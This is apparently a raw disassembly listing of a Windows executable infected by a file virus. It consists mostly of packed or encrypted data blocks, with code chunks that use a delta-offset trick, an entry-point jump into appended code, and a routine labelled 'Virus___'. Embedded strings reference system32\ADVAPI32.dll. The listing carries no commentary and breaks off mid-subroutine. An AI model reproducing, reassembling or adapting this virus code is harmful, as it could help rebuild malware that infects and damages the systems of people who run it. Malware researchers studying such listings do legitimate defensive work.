		dd 3013080Fh, 8C840E0h,	9C160021h, 25ED457Ch, 0DE00334Ah
		dd 312DC824h, 0B6E8F4h,	6D0A940Bh, 86B581Fh, 1917A50Ch
		dd 0FC4120h, 0BDB14CCEh, 3491761Ah, 0DD599428h,	0B81C8800h
		dd 422E8DE4h, 7154007Dh, 0D128D631h, 3FEC698Fh,	806C1848h
		dd 0CD5C64EFh, 0D47F073Eh, 231525ABh, 50B10B3Dh, 62607116h
		dd 8F6053Ch, 0C800D869h, 0BD4AA3FDh, 0D4BA4CC8h, 0E8AFD503h
		dd 0B4D4212Fh, 0C100E484h, 0F60C3978h, 0E2A29F8Dh, 0FB499CBh
		dd 0B8A067BAh, 0EEF7AB66h, 0C8263603h, 0BDFAD401h, 0E5AC4480h
		dd 773801ECh, 0E3DCCAEAh, 0E4A42171h, 0B4907BB9h, 0FFE0829Fh
		dd 0E6FC90BAh, 20BE1C60h, 0C13DC082h, 4F6E4369h, 3F4847B8h
		dd 0A0A9278Bh, 0F8AE9418h, 10390045h, 0D14FF544h, 761C0490h
		dd 0C0E830C1h, 97410F00h, 0DA15C880h, 7578B8ABh, 3850D478h
		dd 88990D22h, 1F46880Eh, 5E192118h, 2380057h, 0CBB4921Dh
		dd 39F49FFEh, 0A0A66E27h, 0E0EE5A24h, 8DE50308h, 71D866EAh
		dd 0A3463800h, 69098BE2h, 8060BED5h, 0EF830E9Fh, 5D1EE627h
		dd 7E7B57h, 66955630h
		dd 2FF6E34Ah, 9427CB0Eh, 0FB8942BEh, 0FD55A60h,	20580495h
		dd 0D3801CE9h, 0A316E3C6h, 0AE690301h, 0BE37E854h, 29B08CFAh
		dd 0D1160E80h, 0C360A886h, 138FA043h, 831865FCh, 686636CDh
		dd 98B085h, 7FB07869h, 0B14BE249h, 9040A14Bh, 0CDA5A9CFh
		dd 445F4C25h, 74010FC0h, 70F49BBh, 20B2359Fh, 4C69F178h
		dd 8C69FF38h, 427AE501h, 0CC434989h, 8008E61h, 0AAD8924Ch
		dd 0F5208066h, 204A69B9h, 5EFE0734h, 26478A1Eh,	9C50E7C0h
		dd 16D7FCFh, 4CF16654h,	87DDA358h, 5C836108h, 0BCE26AC5h
		dd 3A2DBE24h, 0A0BDD080h, 0FD3EF724h, 0E9234418h, 783A699h
		dd 0B9BB86FFh, 1913D0FEh, 1D28AAE2h, 2714860h, 0A0CF331Dh
		dd 0AC0708E4h, 8734F9CBh, 0F3A54A4h, 979D5428h,	0B88900BEh
		dd 3675F843h, 0B4BE4500h, 9D3BA524h, 39420132h,	19871C38h
		dd 0F01D7110h, 505E058h, 18621A40h, 0B34080C7h,	28BD7657h
		dd 44A97Bh, 38CC5CDh, 0A6ECBED5h, 4A907E04h, 0F4F1FF3Dh
		dd 778821E0h, 0E842487Fh, 9558F322h, 55A38000h,	98207FE6h
		dd 7A710EF2h, 6B009307h, 8AF33E5h, 67139609h, 0D8C489h
		dd 0D9EB4D50h, 0F3880990h, 809A271Eh, 0C8966AC9h, 178C4030h
		dd 0C85CA7A9h, 5F3B6FF4h, 1EDE801Ch, 0CB61AC0Bh, 78456085h
		dd 0A1A5ED79h, 66F484Ch, 728EB23Dh, 88572F39h, 7DB9E020h
		dd 3007E2FBh, 5C1EA499h, 0B7DA9080h, 0F9E00D7h,	67CC8E02h
		dd 2CBCCBABh, 0AD79D687h, 36805DA4h, 7355911h, 0A2CD1398h
		dd 0E6ED309Fh, 0CF006E28h, 0DDCCABE2h, 0B0D26127h, 0C5BE1658h
		dd 0F98C20A8h, 609EB13h, 70AED4C0h, 0F8B0DCh, 0F7D0C1E3h
		dd 7612902Eh, 0A30298B8h, 202D9D0Fh, 80AC56BEh,	36579573h
		dd 54906F9Eh, 6E50E30Eh, 562BC01Eh, 0B6211A4h, 0F4A78195h
		dd 7594400h, 1A77413Dh,	6B00CAECh, 89C08E37h, 9C749CBCh
		dd 0C4DD406Ch, 620BF2B6h, 10676AD4h, 0BCD63468h, 0A78080E0h
		dd 741020E8h, 0F44C9D74h, 0FEE8991Ch, 7884880h,	70847E5Fh
		dd 0E71F3200h, 5D983957h, 4C0B7069h, 6B8194BFh,	0F09B10D5h
		dd 0AF4FFFFCh, 0DF878430h, 0F3400AA6h, 10CF4CBh, 0FCC2ADCFh
		dd 54B2F8E9h, 5E7B3601h, 28677D05h, 95D0F461h, 6CCE048Eh
		dd 802109EDh, 736ADF7Ch, 18D15467h, 9551ACh, 74AD67F9h
		dd 0D8B74A03h, 0FA0A7300h, 68056F8Eh, 0D818651Bh, 0CE2DFh
		dd 0F8D33EF1h, 5476DBh,	0AD5A01BFh, 44A2B980h, 6F214101h
		dd 0ED573625h, 88FAB420h, 8F04DAF6h, 6D1A65F1h,	6A80D4BCh
		dd 49377CCBh, 0B4A18D00h, 0CA2C5557h, 0A23F037Bh, 0A3BCAF46h
		dd 1F0DB105h, 0FC8861F3h, 807096D6h, 27DF325Ah,	1A04FF02h
		dd 0A03153AAh, 203944C0h, 6C41009Ah, 22A7A3B2h,	8801AD97h
		dd 0C09D6911h, 7430479Bh, 0AB7B0EACh, 0E4618239h, 3D3CF38Bh
		dd 10202F2Ch, 0BEB2E574h, 0B8488Ch, 7C328E8Ah, 1B508B6Ah
		dd 69ECCE98h, 0B802BC41h, 962720EBh, 483BB81Ah,	41650323h
		dd 0F2BD3FAAh, 80C4F956h, 98E001D0h, 0DCB81E80h, 0CA650B00h
		dd 1D9C6C42h, 0E0189711h, 500015B0h, 1B09C3A6h,	39D24617h
		dd 0D40BEA71h, 84443D87h, 0F55A471Ch, 0C3CF615Dh, 567C643Fh
		dd 9CDA90C1h, 5B2B6470h, 0AF4000C4h, 0CF209031h, 0A09360B9h
		dd 94C2E064h, 3CD4F11Bh, 7DB1C900h, 0D69ED885h,	2B1A3500h
		dd 0ABD70FF7h, 70825883h, 803840DEh, 5BA21997h,	0AE3E10C0h
		dd 0E3B0373h, 789A2FA6h, 0A851C409h, 0A9CFE14h,	0A8C56BCBh
		dd 0AC45C60h, 284F4B6h,	0CFBC6510h, 0A490B8FFh,	14EC72DBh
		dd 766A2413h, 0C4182CD2h, 575600A0h, 79406C45h,	2800D920h
		dd 7C335873h, 900C97BEh, 0E0CB040Ch, 0A47D6AF1h, 3BFC7B8Ch
		dd 0C494A30Eh, 0A52F2E39h, 888890Ch, 0E25A0056h, 116BBA91h
		dd 58911A55h, 848E300h,	48AED114h, 780152BDh, 0C6018A22h
		dd 0A03860EBh, 98BEFF2Eh, 111E5D40h, 4014940Fh,	0B64AEB19h
		dd 0B263300h, 9DC2B040h, 0F0D839E4h, 96356B8Bh,	1E15A010h
		dd 83B0BD00h, 0B9D4F57Eh, 0E95F7023h, 0AF84202Fh, 0C41C930Bh
		dd 0FF82708Bh, 608D676Dh, 962E234h, 0A227B103h,	7400E4D1h
		dd 0FF299F47h, 4E2058Fh, 4368336Dh, 1B369110h, 89B266B0h
		dd 2542600h, 0F34C6F31h, 81F49EBAh, 0B1F75928h,	0D118B74h
		dd 4BAC90A8h, 0D1720054h, 14B0BB58h, 0F8E15952h, 5750C003h
		dd 9494D0h, 752B8440h, 0A2DC00D1h, 74041E6Ch, 26071121h
		dd 616BD92h, 759FB211h,	1C300115h, 3E727311h, 0DDB1DC20h
		dd 40749688h, 0AAB96950h, 8D2DF02h, 41F13B6Eh, 0EC20BD07h
		dd 0BE39C741h, 888085C8h, 6D582914h, 114330B4h,	13FFC8Fh
		dd 5137D71Dh, 60700D7Ah, 0B7166944h, 90895Eh, 7708A3A2h
		dd 42520093h, 91BB1C3Bh, 0E702138Bh, 228911E9h,	0E1CC15Dh
		dd 1861E512h, 9BE44CBAh, 0AD471F04h, 8888B4h, 2B302EBh
		dd 66F5D5F2h, 0CCFD2441h, 30B03074h, 0A10A4BFCh, 0F82C586Ah
		dd 0D080B713h, 0A31376h, 0F4F522D3h, 0B916A5CBh, 60026A00h
		dd 972627A6h, 5B8C9078h, 0B74FC8Dh, 23076C2Dh, 0ACB0CED8h
		dd 4808CACh, 4E33FA3Ch,	0C1915D00h, 16F2647Ch, 75191639h
		dd 849800C0h, 947E06B7h, 0D9D0D807h, 7091A6E0h,	80304F18h
		dd 8F8C0092h, 256EE416h, 0DF00B81Bh, 0A3AB3D72h, 0F4B0C330h
		dd 92C11739h, 961D07B2h, 0E8986420h, 79009304h,	0BC30A77Ah
		dd 883F0099h, 97D9E54Ah, 740F1AC7h, 0C485A2CEh,	6CC2D2D0h
		dd 7B0818E4h, 0F4726F00h, 439293F7h, 0B6360021h, 81389C37h
		dd 8801BC8Ah, 0D0B14A9Bh, 0E860063Fh, 6F1B1604h, 32CC0026h
		dd 4EAD3857h, 49A2125h,	28FCD267h, 0A44A0A80h, 3A0691F4h
		dd 0F118FB2Dh, 7B3500B9h, 162C398Dh, 0D91DE70Bh, 9C02FCF2h
		dd 81CEC010h, 1AFAC9D0h, 0A6343BFCh, 0EA8D7FBCh, 4DD107DAh
		dd 0C095F955h, 8021978Bh, 801C1A48h, 556DF618h,	19B7260Ah
		dd 0ACDC02B0h, 0CC201F1Ah, 18C0CC4h, 0C8934363h, 0CD084B21h
		dd 8DB420F6h, 85CFE615h, 0ED120028h, 1CB8C0ECh,	109D88h
		dd 8A0037D5h, 75FD35C6h, 0E40FAD59h, 4D0E8A9h, 17D6DE4Dh
		dd 886600F0h, 0E67627h,	0E3488274h, 0FDE54FEDh,	0DECA4B00h
		dd 1D02D080h, 0A531DCF5h, 590FF4E4h, 0A0B36B7Bh, 92EA80Fh
		dd 39D9FE28h, 8D025B45h, 72A417BDh, 577D887h, 5E5C003Dh
		dd 0D5685940h, 7F705309h, 7114808Dh, 910CA8F1h,	0C0561F04h
		dd 2ED44DEh, 703C2ED9h,	0A3010A6Dh, 0C51DB986h,	0FD0FDF0Bh
		dd 5882E389h, 9540D2E7h, 670088D6h, 1B55CF31h, 2557F446h
		dd 0B0100AADh, 0A8001842h, 3B7CA6C7h, 1DB7C2h, 83B57D7Bh
		dd 0A284F0Fh, 61016EF6h, 6BE724B6h, 50721A0Ch, 379A5500h
		dd 0C17D54F1h, 79831316h, 0CEB338C0h, 66938ABh,	45C0B026h
		dd 6BB0819Ch, 6248301Ch, 70F36E00h, 6A40A981h, 9EBEF87Ch
		dd 0CBFF8B0Ch, 645EDC12h, 0C9A67140h, 149C3A96h, 24E86C25h
		dd 0FB0A6016h, 0D0F4A93Dh, 0C4A8C380h, 181DCB1h, 90CB09D0h
		dd 0E94DA715h, 0C0C028A2h, 386AC85h, 407D0676h,	18D1E058h
		dd 7B2D9400h, 1557917Eh, 20E32702h, 6B13B4E4h, 0E0982156h
		dd 88412DF0h, 1D83C20h,	0D41DECE4h, 0FF45BDA8h,	1840CF1Ch
		dd 6040F06Ah, 5CCC00B7h, 612A50DCh, 0EE09A9A0h,	182D2082h
		dd 571CACh, 963B37CBh, 9A6B39A6h, 0C606D0Bh, 0E0C87070h
		dd 8B849CC7h, 2CD1BD20h, 0A196C410h, 0C203BBCh,	1772D6h
		dd 6DA5F1A9h, 7DEDD5FAh
		dd 0A81F7F00h, 8DC0CC1Eh, 0D3BE281Bh, 6C2B0288h, 76BCACAAh
		dd 61044452h, 0A220D1A7h, 3C8050E2h, 0A7E785C0h, 48A88D25h
		dd 0B03021Ch, 19DDCF8Ah, 2B81A890h, 5CAE3000h, 0E0C467F3h
		dd 0EF78C58Eh, 62588C1Fh, 693C2714h, 0B045008Ah, 0D6F2E44Bh
		dd 4A80232h, 0C71F0E8Eh, 342644D3h, 0F5480427h,	0AED02024h
		dd 6402B58Dh, 0FFC98FBDh, 46CC6C3h, 0D02DC16Eh,	8040F823h
		dd 5F4EA54h, 0F5A5003Ah, 776C5598h, 2E03FA2Bh, 5F2470E7h
		dd 69A7B840h, 1A7D03FCh, 0CF582783h, 0CC4014CAh, 4C98A6CDh
		dd 82407649h, 4134D68Ah, 20111894h, 64222FC6h, 42CFAB2h
		dd 0BC94B0E4h, 6ACCE48Dh, 800C765Ch, 0B96187D1h, 0C1DB0316h
		dd 34572908h, 1BF4688h,	29398930h, 0AEA82Ch, 7CAAB199h
		dd 6AD8D76Ch, 0C44B6F25h, 509B4890h, 35A0FD30h,	1A002185h
		dd 0F2E63060h, 27CFCE62h, 58C417ACh, 4C34B500h,	7F3AF6BCh
		dd 291005Ch, 830C79D4h,	9D0008EDh, 41BAAD56h, 88E90F3Fh
		dd 0EA0B201Ah, 389435Dh, 0F802BE0Ah, 981E6D90h,	1DA480F9h
		dd 0CB4C98h, 204CB280h,	52140268h, 740D592h, 0E817876Dh
		dd 39EE620Eh, 0AB8E40BFh, 19BA039Dh, 0A7BEC3Fh,	0B3AEB0EFh
		dd 15002DB0h, 83921D0Eh, 25E4D9A5h, 0B0B0BC5Dh,	2890BE79h
		dd 21CCC453h, 0C2E41FC9h, 8675B0DFh, 0BD7784D8h, 0B8AD2600h
		dd 0BE19B2C7h, 585602FDh, 0F58B5F15h, 0A8660074h, 66EC09h
		dd 6B971716h, 3DBE887Eh, 1B77AD77h, 0C71D1113h,	950050F2h
		dd 476D5838h, 7334D39Dh, 0E8CCA082h, 67E5009Ah,	58011C3Eh
		dd 7802C1FDh, 1D1482CFh, 4B5C5CBEh, 4040050Ah, 6D5C0EB2h
		dd 24204A4Bh, 13699F7Ah, 0E073964Ch, 1E12BE54h,	70D018E4h
		dd 7C099E34h, 973B0080h, 0BBC6A47Ah, 2CA074BCh,	0D05CDFFFh
		dd 8A6E026Fh, 401E6A6Dh, 0BF114B2Ch, 8DA3B010h,	20B51EAh
		dd 0C1590347h, 82144BE8h, 6218BE98h, 19B4A8FCh,	0A2AE1363h
		dd 0D990A4CBh, 0E8DE1307h, 752588Dh, 40687C87h,	0BD8F3FF4h
		dd 97C1B403h, 0B88BFCE4h, 48ED8AEh, 0E7996E31h,	801CF81Fh
		dd 0EE631C15h, 0CF4701DEh, 737B0ABBh, 344C4171h, 0F2CDE36Dh
		dd 8BE000C4h, 36416291h, 2C430056h, 0D99B10ACh,	97E275C4h
		dd 44806A11h, 3BE7C100h, 412DE859h, 20187602h, 5A239F92h
		dd 19BE00D8h, 0E9FF505Ch, 4D00CBF5h, 0FDE4BAEh,	0B732C7h
		dd 88EA7BEFh, 0C0F35447h, 0D5390765h, 3100E0ADh, 5EDF4387h
		dd 3002A37Dh, 2A26AA03h, 0FE040B7h, 0A1101359h,	3D64D0CBh
		dd 91E4ED9Ah, 0EF88E760h, 0C0A1B21Ah, 0F3400D59h, 30BAAC62h
		dd 0E281D502h, 68A1DE61h, 48D4194Ch, 0D805A973h, 0B241E5E0h
		dd 767A70DCh, 0A8A41E01h, 0BF9C989Eh, 0B9237320h, 409700F8h
		dd 601BBA65h, 1700A0F6h, 1A71706Bh, 39801E3h, 34A61E31h
		dd 0C0D58108h, 0A2738530h, 40886D4Fh, 620500C8h, 0F6E54DDEh
		dd 0F801D19Bh, 0C63577B2h, 70239321h, 0BEDDAA0Eh, 59E82DE3h
		dd 0A7FCC002h, 6C74B1B7h, 0CC9B2900h, 0FDFF7F01h, 0B0h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53B16A:				; CODE XREF: start:loc_4E3265j
					; DATA XREF: start:loc_4E3086o
		jmp	loc_53E76B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 10h
		dd 1Dh dup(0)
		dd 0BC000000h, 53B2h, 0Bh dup(0)
		dd 5277DD00h, 575Dh, 24h dup(0)
		dd 64000000h, 51000006h, 43h, 6Ch dup(0)
		dd 20000000h, 8600AB8Dh, 544Fh,	7 dup(0)
		dd 21000000h, 212121h, 4 dup(0)
		dd 8D000000h, 0FFFF69h,	39h dup(0)
		dd 0E0000000h, 12FFh, 3	dup(0)
		dd 0E4000000h, 572Fh, 5	dup(0)
		dd 0F000000h, 7BD03Eh, 0Ah dup(0)
		dd 76000000h, 53ECh, 14h dup(0)
		dd 0F9000000h, 7C90DDh,	1Ah dup(0)
		dd 64000000h, 771139h, 8 dup(0)
		dd 0F2000000h, 4E7C814Ah, 7C8044h, 0BB000000h, 56E6h, 28000000h
		dd 93000070h, 56E6h, 6 dup(0)
		dd 0C3000000h, 53C7h, 1Dh dup(0)
		dd 0E9000000h, 20Eh, 71000000h,	3B717171h, 791462h, 0Dh	dup(0)
		dd 3E000000h, 0AB00h, 82h dup(0)
		dd 0E000000h, 7C8018h, 0Fh dup(0)
		dd 7E4100h, 21h	dup(0)
		dd 0C2000000h, 1AAB78h,	11h dup(0)
		dd 32000000h, 0AE8Bh, 4	dup(0)
		dd 76000000h, 53ECh, 6 dup(0)
		dd 8000000h, 0ABB5h, 5 dup(0)
		dd 1000000h, 7 dup(0)
		dd 51000000h, 0AB8Eh, 0
		dd 0D0000000h, 37h, 0Bh	dup(0)
		dd 51000000h, 344435h, 0
		dd 1C000000h, 26h, 0Ch dup(0)
		dd 74000000h, 8238CDh, 2Eh dup(0)
		dd 0FF000000h, 0FFFFFFh, 2 dup(0)
		dd 4E000000h, 177C8044h, 0AB94h, 2Ah dup(0)
		dd 0CB000000h, 53F4h, 2Bh dup(0)
		dd 6B000000h, 940056E6h, 0E97C90EBh, 0DBh, 0
		dd 28000000h, 2ABC9070h, 632B0Dh, 21h dup(0)
		dd 0DA000000h, 0A07C81CDh, 7C80ADh, 7 dup(0)
		dd 0E9000000h, 83h, 5 dup(0)
		dd 22000000h, 19h, 7 dup(0)
		dd 52000000h, 575Dh, 0
		dd 0DC000000h, 57AEh, 4	dup(0)
		dd 17000000h, 0FFFDF1h,	2 dup(0)
		dd 0FF000000h, 0FDFFFFh, 16h dup(0)
		dd 98000000h, 7C8018h, 0AFh dup(0)
		dd 96000000h, 6C74Eh, 14h dup(0)
		dd 6C000000h, 836F14h, 5 dup(0)
		dd 5E000000h, 0FFA9A1h,	0Bh dup(0)
		dd 0E9000000h, 20Eh, 15h dup(0)
		dd 3C000000h, 0AB1Ah, 4	dup(0)
		dd 0E4000000h, 7, 0Ah dup(0)
		dd 11000000h, 4200577Ch, 0AB18h, 2 dup(0)
		dd 77000000h, 3B7C801Dh, 791462h, 5 dup(0)
		dd 0FF000000h, 0FFFFFFh, 4 dup(0)
		dd 0FF000000h, 0FFFFFFh, 4 dup(0)
		dd 0DD000000h, 7AB963h,	9 dup(0)
		dd 40000000h, 558706h, 5 dup(0)
		dd 0F000000h, 0AB18h, 1Ah dup(0)
		dd 0B8000000h, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	short loc_53C517
		retn	18h
; ---------------------------------------------------------------------------


loc_53C517:				; CODE XREF: Virus___:0053C512j
		mov	eax, [esp+0Ch]
		push	ebx
		call	$+5
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0ABFA37h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 1Bh dup(0)
		dd 0F000000h, 0AB18h, 3	dup(0)
		dd 0E3000000h, 0DA0006F9h, 0FF7C81CDh, 3, 7 dup(0)
		dd 7FFDB3h, 26h	dup(0)
		dd 0A7000000h, 0C0764Ah, 2Fh dup(0)
		dd 3C000000h, 0AB1Ah, 2	dup(0)
		dd 0FF000000h, 0FDDFFFh, 0Bh dup(0)
		dd 3B000000h, 791462h, 3 dup(0)
		dd 0AD000000h, 0ADFCh, 2 dup(0)
		dd 87000000h, 182A8Bh, 0
		dd 18000000h, 0AB29h, 0
		dd 24000000h, 242424h, 0AD000000h, 7E41A8h, 0Ch	dup(0)
		dd 0C4000000h, 12FFh, 1Bh dup(0)
		dd 0C5000000h, 86EB9Dh,	9 dup(0)
		dd 28000000h, 0BC9070h,	9 dup(0)
		dd 2D000000h, 0F0053F1h, 0AB18h, 1000000h, 8 dup(0)
		dd 51000000h, 53AEB79Fh, 198C6Bh, 7A000000h, 759776h, 5	dup(0)
		dd 23000000h, 7C9100h, 18h dup(0)
		dd 5E000000h, 0CA880h, 0
		dd 0F8000000h, 56E3h, 0A4000000h, 12FFh, 2 dup(0)
		dd 0EC000000h, 0AB37h, 0
		dd 0B4000000h, 5746h, 0Ah dup(0)
		dd 97000000h, 0A014CFF7h, 7C80ADh, 10h dup(0)
		dd 0CF000000h, 0ABA8h, 17h dup(0)
		dd 1000000h, 3 dup(0)
		dd 43000000h, 49575C3Ah, 574F444Eh, 79735C53h, 6D657473h
		dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 49h dup(0)
		dd 52000000h, 575Dh, 0Eh dup(0)
		dd 4A000000h, 6Ah, 2 dup(0)
		dd 1B000000h, 77DFC4h, 6 dup(0)
		dd 28000000h, 70h, 0Ah dup(0)
		dd 69000000h, 56B4h, 0
		dd 77000000h, 0FFFFC5h,	7 dup(0)
		dd 1000000h, 120777h, 12h dup(0)
		dd 0F000000h, 0AB18h, 1Fh dup(0)
		dd 0E9000000h, 20Eh, 0Dh dup(0)
		dd 0FE000000h, 6C15E8h,	80h dup(0)
		dd 0BF000000h, 53C3h, 8	dup(0)
		dd 0B000000h, 53C5h, 0Eh dup(0)
		dd 7400BB00h, 8238CDh, 6 dup(0)
		dd 85000000h, 93D22Dh, 4 dup(0)
		dd 1000000h, 6 dup(0)
		dd 0F000000h, 0AB18h, 0D1000000h, 56DDh, 4 dup(0)
		dd 62000000h, 0D12E9Bh,	9 dup(0)
		dd 94000000h, 0FFFFEBh,	0B000000h, 53D7h, 0Dh dup(0)
		dd 7E000000h, 524077EEh, 575Dh,	8 dup(0)
		dd 0E9000000h, 0DBh, 3Fh dup(0)
		dd 0E7000000h, 77DDEBh,	1000000h, 9 dup(0)
		dd 11000000h, 0B8353Ah,	0Bh dup(0)
		dd 63000000h, 53DBh, 0Fh dup(0)
		dd 0E9000000h, 0F000020Eh, 77DD6Bh, 0Ch	dup(0)
		dd 63000000h, 940053DBh, 0EBh, 3 dup(0)
		dd 0E9000000h, 83h, 10h	dup(0)
		dd 3B000000h, 791462h, 6 dup(0)
		dd 7C8000h, 7 dup(0)
		dd 0FF000000h, 0FFFFFFh, 4 dup(0)
		dd 0A000h, 11h dup(0)
		dd 38000000h, 5726h, 2 dup(0)
		dd 3000000h, 0FFFE20h, 19h dup(0)
		dd 0EE000000h, 0FFA870h, 22h dup(0)
		dd 77000000h, 5F7C810Ah, 3Bh, 0Bh dup(0)
		dd 0F000000h, 0AB18h, 2	dup(0)
		dd 0D0000000h, 37h, 2 dup(0)
		dd 38000000h, 5726h, 1Ch dup(0)
		dd 0BB000000h, 53B2h, 6	dup(0)
		dd 49000000h, 50EEB8h, 3 dup(0)
		dd 5F000000h, 731D8Ah, 1E000000h, 0E7DB3Ah, 3 dup(0)
		dd 0DB000000h, 7B1154F3h, 0E56CC9h, 1Bh	dup(0)
		dd 91000000h, 0B29Fh, 17000000h, 0FFFDF1h, 3 dup(0)
		dd 44000000h, 0AB1Ah, 8	dup(0)
		dd 28000000h, 0BC9070h,	4 dup(0)
		dd 21000000h, 0B7DE8Bh,	0Ah dup(0)
		dd 17000000h, 0FFFDF1h,	0Dh dup(0)
		dd 5000000h, 8 dup(0)
		dd 1E000000h, 0EE663202h, 0F6F883h, 7 dup(0)
		dd 0E8000000h, 0FFFDh, 8 dup(0)
		dd 51000000h, 7C809Ah, 3 dup(0)
		dd 0E4000000h, 572Fh, 6F000000h, 9800575Fh, 57B1h, 0
		dd 0AD000000h, 0A8h, 2 dup(0)
		dd 3B000000h, 791462h, 0Ch dup(0)
		dd 0C6000000h, 0DBBA7868h, 1154F3h, 5 dup(0)
		dd 85000000h, 1A9336h, 0Ah dup(0)
		dd 69000000h, 1Bh, 0EC000000h, 43h, 3 dup(0)
		dd 0E9000000h, 20Eh, 15h dup(0)
		dd 0A4000000h, 12FFh, 0
		dd 3F0h, 12h dup(0)
		dd 9C000000h, 0FED655h,	13h dup(0)
		dd 33000000h, 2	dup(33333333h),	333333h, 5E000000h, 0EB0CA880h
		dd 25A65163h, 0DB694Bh,	0
		dd 78000000h, 4	dup(0)
		dd 94000000h, 7C90EBh, 18000000h, 5749h, 0
		dd 0FF000000h, 0FFFFBFh, 10h dup(0)
		dd 47000000h, 1E7C809Bh, 0E30A69h, 4 dup(0)
		dd 0FC000000h, 7E4505h,	4 dup(0)
		dd 76B400h, 0Eh	dup(0)
		dd 96Ah, 0A7000000h, 0C0764Ah, 10h dup(0)
		dd 0EC000000h, 0AB37h, 2 dup(0)
		dd 5B000000h, 76B44Eh, 6 dup(0)
		dd 4B000000h, 8	dup(0)
		dd 12000000h, 0CD0056E4h, 0D12DF9h, 1000000h, 0Ch dup(0)
		dd 0E8000000h, 377C8000h, 0ABFAh, 0Ch dup(0)
		dd 25000000h, 7C8016h, 18000000h, 24FFFFE1h, 7C801Ah, 0Bh dup(0)
		dd 0AA000000h, 927CE877h, 929292h, 4 dup(0)
		dd 0DC000000h, 57AEh, 0Ch dup(0)
		dd 0F0000000h, 12FFh, 0Ch dup(0)
		dd 83000000h, 77DD78h, 3 dup(0)
		dd 0DA000000h, 7C8111h,	6 dup(0)
		dd 0B000000h, 53D7h, 0DB000000h, 2496B4h, 0
		dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 0B4000000h
		dd 0FFF62Fh, 35000000h,	0F005774h, 13h dup(0)
		dd 7F000000h, 574Ah, 5 dup(0)
		dd 51000000h, 43h, 0Ah dup(0)
		dd 0C2000000h, 1AAB78h,	2 dup(0)
		dd 98000000h, 989898h, 2 dup(0)
		dd 28000000h, 0BC9070h,	7 dup(0)
		dd 38000000h, 5726h, 16h dup(0)
		dd 0DE000000h, 7C80ABh,	14h dup(0)
		dd 9B000000h, 5A46D7h, 13h dup(0)
		dd 63000000h, 53DBh, 9 dup(0)
		dd 0AB00h, 7 dup(0)
		dd 0F8000000h, 1E0B5D30h, 663202h, 11000000h, 111111h
		dd 0Ah dup(0)
		dd 0E1000000h, 8Fh, 0
		dd 28000000h, 0BC9070h,	0Bh dup(0)
		dd 23000000h, 5700h, 3 dup(0)
		dd 85000000h, 1A9336h, 0FD000000h, 0FF5405h, 5 dup(0)
		dd 41000000h, 0FE67E8h,	5 dup(0)
		dd 0FF000000h, 0DCF7FFh, 64000000h, 129AAh, 0Ah	dup(0)
		dd 43000000h, 5747h, 20000000h,	0AB19h,	0Bh dup(0)
		dd 94000000h, 7C90EBh, 12h dup(0)
		dd 0D8000000h, 6DE28h, 8 dup(0)
		dd 6000000h, 5749h, 23h	dup(0)
		dd 0AB00h, 4 dup(0)
		dd 0FA000000h, 0FFFFFFh, 4 dup(0)
		dd 6D000000h, 0BC7C9105h, 0C0009Bh, 12h	dup(0)
		dd 7C9000h, 2Ch	dup(0)
		dd 36000000h, 363636h, 7 dup(0)
		dd 6F000000h, 5400575Fh, 696D6568h, 6164h, 21h dup(0)
		dd 13000000h, 75BC82h, 0
		dd 0E1000000h, 8Fh, 2 dup(0)
		dd 1000000h, 5 dup(0)
		dd 7A000000h, 5Ah, 2 dup(0)
		dd 3E000000h, 4A87EDh, 3 dup(0)
		dd 1000000h, 1C000000h,	93ED4Ah, 15000000h, 1BEE27h, 20h dup(0)
		dd 96000000h, 12F435h, 2Ch dup(0)
		dd 35000000h, 353535h, 2 dup(0)
		dd 14000000h, 53DA9h, 8	dup(0)
		dd 22000000h, 22222222h, 222222h, 3 dup(0)
		dd 2C000000h, 7B1CF601h, 0E56CC9h, 0Ah dup(0)
		dd 0A4000000h, 12FFh, 18h dup(0)
		dd 7F000000h, 574Ah, 10h dup(0)
		dd 0AC000000h, 577Eh, 4	dup(0)
		dd 0D000000h, 0AE8Bh, 4	dup(0)
		dd 23000000h, 5700h, 2 dup(0)
		dd 28000000h, 2500AB8Bh, 0EEAB0Ch, 19h dup(0)
		dd 6C000000h, 342F44h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53E76B:				; CODE XREF: start:loc_53B16Aj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 71B360Bh
		mov	[ebp+71B16A5h],	edx
		mov	[ebp+71B30B1h],	esi
		mov	[ebp+71B2B5Dh],	eax
		cmp	dword ptr [ebp+71B1449h], 0
		jz	short loc_53E7A3
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_53E7A3:				; CODE XREF: start+5B781j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+71B0B5Dh],	eax
		push	45h
		call	sub_53E857
		push	783749Ah
		call	sub_53E89D
		push	0A894B25h
		call	sub_53E89D
		jmp	loc_53E9E1
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53E857	proc near		; CODE XREF: start+5B79Bp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
